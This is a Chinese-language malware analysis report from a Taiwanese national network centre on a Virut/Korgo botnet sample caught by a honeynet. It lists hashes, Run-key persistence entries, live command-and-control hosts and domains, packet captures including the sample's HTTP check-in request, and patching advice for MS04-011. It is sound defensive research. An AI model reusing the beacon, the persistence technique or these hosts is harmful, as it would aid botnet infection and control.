教育部 98 年度教育學術資訊安全監控中心
(A-SOC)暨殭屍電腦(Botnet)防禦機制建置計畫
惡意程式分析報告
fb486908b086c67488dab1deb871f706

國家高速網路與計算中心

2011 年 7 月 04 日

目錄

一、前言

本文主要針對教育部 98 年度教育學術資訊安全監控中心(A-SOC)暨殭屍電腦(Botnet)防禦機制建置計畫中藉由 Honeynet 誘捕系統所蒐集到之惡意程式進行分析說明，其報告內所分析之惡意程式主要以誘捕系統每月所偵測到之攻擊比率最高者為分析對象，如有重複則以次高或次次高者為主。

二、惡意程式分析

本報告針對 2010 年六月份由 Honeynet 誘捕系統所偵測到之惡意程式攻擊數較高者為分析對象，其惡意程式之資訊與相關行為如下述分析:

- 惡意程式 MD5: fb486908b086c67488dab1deb871f706
- 惡意程式 SHA-1: 404b915027c58e1b371d7204286d995583ca3229
- 惡意程式大小：16,897 bytes
- 防毒軟體定義名稱:
  - Virus.Win32.Virut.at (Kaspersky)
  - W32/Virut.gen.a (McAfee)
  - Worm:Win32/Korgo.AB (Microsoft)
  - PE_VIRUT.AT (TrendMicro)
  - W32.Virut.W (Symantec)
- 惡意程式行為分析
  - 此惡意程式執行後將會自行複製到”%System%目錄下，如 Windows XP 下則會在 C:\WINDOWS\system32\目錄下，而誤惡意程式名稱通常為隨機字元.exe，如 qoieyfi.exe
  - 修改系統安全設定
  - 賽門鐵克防毒軟體於該程式執行後，將會偵測到 OS Attack:MS RPC LSASS OS Oversized Request TCP 攻擊流量攻擊，該攻擊主要針對 CVE-2003-0533(MS04-011)之系統漏洞。
- 註冊碼修改
  - 惡意程式執行後，將會針對註冊碼進行一連串的修改，以確保該惡意程式於開機時即自動執行。
    - 建立" HKEY_LOCAL_MACHINE \Software\Microsoft\Wireless"
    - 於"HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\Wireless\”新增 key 值 Client=1
    - 於" HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\Wireless\”新增 key 值 ID= 隨機字串"
      - Ex: ID= typhvbnvhbkmsosq

- 於 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 新增 key 值 Cryptographic Service= "%System%\隨機字元.exe"
  - ◆ Ex: Cryptographic Service=C:\WINDOWS\system32\ qoieyfi.exe
- 刪除註冊表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wireless\下的 Client 值。
  - ◆ 以上註冊碼之行為，於本分析案例中將使系統開機後自動執行 qoieyfi.exe 之惡意程式

➢CC Server:213.155.0.224:80

➢DNS Lookups: citi-bank.ru、proxim.ntkrnlpa.info、kidos-bank.ru

➢網路行為分析

◆ 當惡意程式執行後， 會針對上述之 DNS 進行查詢解析，其過程如下:

1	0.000000		DNS	Standard query A proxim.ntkrnlpa.info
4	0.598089		DNS	Standard query response A 83.68.16.30
6	0.606048		DNS	Standard query A citi-bank.ru
26	1.151632		DNS	Standard query response A 213.155.0.224
196	51.516228		DNS	Standard query A proxim.ntkrnlpa.info
197	51.517331		DNS	Standard query response A 83.68.16.30
386	114.437875		DNS	Standard query A proxim.ntkrnlpa.info
387	114.502579		DNS	Standard query response A 83.68.16.30
575	177.343531		DNS	Standard query A proxim.ntkrnlpa.info
576	177.344612		DNS	Standard query response A 83.68.16.30
780	240.422589		DNS	Standard query A proxim.ntkrnlpa.info
781	240.423751		DNS	Standard query response A 83.68.16.30
963	303.281027		DNS	Standard query A proxim.ntkrnlpa.info
964	303.282210		DNS	Standard query response A 83.68.16.30
1161	366.171876		DNS	Standard query A proxim.ntkrnlpa.info
1162	366.173296		DNS	Standard query response A 83.68.16.30
1373	429.046206		DNS	Standard query A proxim.ntkrnlpa.info
1374	429.047170		DNS	Standard query response A 83.68.16.30
1557	491.969006		DNS	Standard query A proxim.ntkrnlpa.info
1558	491.970304		DNS	Standard query response A 83.68.16.30
1616	503.221427		DNS	Standard query A kidos-bank.ru
1618	503.884439		DNS	Standard query response A 109.234.109.21 A 217.11.54.126 A 109.234.109.20
1765	539.203171		DNS	Standard query A proxim.ntkrnlpa.info
1766	539.204222		DNS	Standard query response A 83.68.16.30
1918	593.595790		DNS	Standard query A proxim.ntkrnlpa.info
1919	593.596890		DNS	Standard query response A 83.68.16.30

◆ 解析出 213.155.0.224 位址後，進一步發現惡意程式將透過該網址發出 HTTP GET 請求(詳見下圖)，其指令如下

- Get /index.php?id=typhvbnvhbkmsosq&scn=0&inf=0&ver=20&cnt=TWN

該請求疑似透過 index.php 來告訴遠端主機已遭感染之主機之資訊，如 ID 為 typhvbnvhbkmsosq (對應到註冊碼之 ID Key 值)，而其所在國家為 TWN。

155	42.671710	213.155.0.224	TCP	mxomss > http [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
165	43.023135	213.155.0.224	TCP	http > mxomss [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
167	43.023302	213.155.0.224	TCP	mxomss > http [ACK] Seq=1 Ack=1 Win=64240 Len=0
168	43.023631	213.155.0.224	HTTP	GET /index.php?id=typhvbnvhbkmsosq&scn=0&inf=0&ver=20&cnt=TWN HTTP/1.1
169	43.023925	213.155.0.224	TCP	http > mxomss [ACK] Seq=1 Ack=159 Win=64240 Len=0
170	43.367111	213.155.0.224	TCP	http > mxomss [FIN, PSH, ACK] Seq=1 Ack=159 Win=64240 Len=0
171	43.367187	213.155.0.224	TCP	mxomss > http [ACK] Seq=159 Ack=2 Win=64240 Len=0
172	43.367371	213.155.0.224	TCP	mxomss > http [FIN, ACK] Seq=159 Ack=2 Win=64240 Len=0
173	43.367489	213.155.0.224	TCP	http > mxomss [ACK] Seq=2 Ack=160 Win=64239 Len=0

➢使用者自我檢查：

使用者可從其上述註冊碼中自我檢查判斷是否感染惡意程式。

➢預防措施:

此惡意程式主要是運用"MS04011 Lsasrv.dll RPC buffer overflow remote exploit”針對 Windows XP 與 Windows 2000 的 LSASS(本地安全性授權子系

統服務)弱點進行攻擊，其所使用之通訊埠為 445，一但攻擊成功便植入 ShellCode，攻擊者便可以經由指定的通訊埠對被攻擊的電腦下指令，完全控制受害的電腦。關於 MS04-011 之弱點與更新資訊可從其微軟網站查看與下載更新檔:

◆ http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx